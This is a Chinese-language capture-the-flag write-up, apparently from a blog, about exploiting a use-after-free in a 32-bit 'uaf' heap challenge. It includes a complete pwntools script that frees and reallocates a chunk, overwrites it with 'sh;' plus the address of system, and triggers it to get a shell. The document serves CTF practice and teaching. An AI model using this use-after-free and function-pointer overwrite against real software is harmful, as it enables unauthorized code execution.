本文并不是详细讲解uaf漏洞及double free利用的,只是实操。
关于详细的uaf漏洞介绍及double free利用:关于堆的基本概念和uaf漏洞-CSDN博客
这里直接上题
代码审计:只能说五脏俱全 ,add,del,free全都有,典中点,宣~~~
这里还有system真的太宣了qwq
先写框架:
def add_chunk(): io.recvuntil(b':') io.sendline(b'1') def edit_chunk(index, string): io.recvuntil(':') io.sendline('2') io.recvuntil('page\n') io.sendline(str(index)) io.recvuntil('strings\n') io.sendline(string) def del_chunk(index): io.recvuntil(':') io.sendline('3') io.recvuntil('page\n') io.sendline(str(index)) def show_chunk(index): io.recvuntil(b':') io.sendline(b'4') io.recvuntil(b'page\n') io.sendline(str(index))
double free利用
先创建一个chunk 0
由于edit不能直接编辑chunk0,因为 if ( v1 <= 0 || v1 > i )
这里我们要注意由于系统不会直接回收内存空间,并且free后并没有将指针置0,create函数创建的chunk是不能自定义的,但是我们只要free后再申请一次,它就会把之前的chunk给我们复用
由于我们不能直接编辑chunk0,但是chunk0现在被page1所调用,因此我们只需要使用edit写入page1 sh并show_page即可getshell
add_chunk()
del_chunk(0)
add_chunk()
构造system(/bin/sh)字符串
edit_chunk(1, b'sh;\x00' + p32(system))
show_chunk(0)
io.interactive()
这里一定要打印,一定要,不打印就会一直循环,这里不明白的可以看看程序。
完整脚本:
from pwn import * io = process('./uaf') elf = ELF('./uaf') context(arch='i386', os='linux', log_level='debug') system = 0x80484E0 def add_chunk(): io.recvuntil(b':') io.sendline(b'1') def edit_chunk(index, string): io.recvuntil(':') io.sendline('2') io.recvuntil('page\n') io.sendline(str(index)) io.recvuntil('strings\n') io.sendline(string) def del_chunk(index): io.recvuntil(':') io.sendline('3') io.recvuntil('page\n') io.sendline(str(index)) def show_chunk(index): io.recvuntil(b':') io.sendline(b'4') io.recvuntil(b'page\n') io.sendline(str(index)) add_chunk() del_chunk(0) add_chunk() edit_chunk(1, b'sh;\x00' + p32(system)) show_chunk(0) io.interactive()
我们跑一遍脚本就可以发现通了:
总结:以现在博🐖接触到的uaf来说,困难的不是原理,利用思路,难点在于代码的审计,毕竟博🐖学爪洼。。。,申请堆size时代码构造有困难,总的来说就到这里了。(会持续更新的)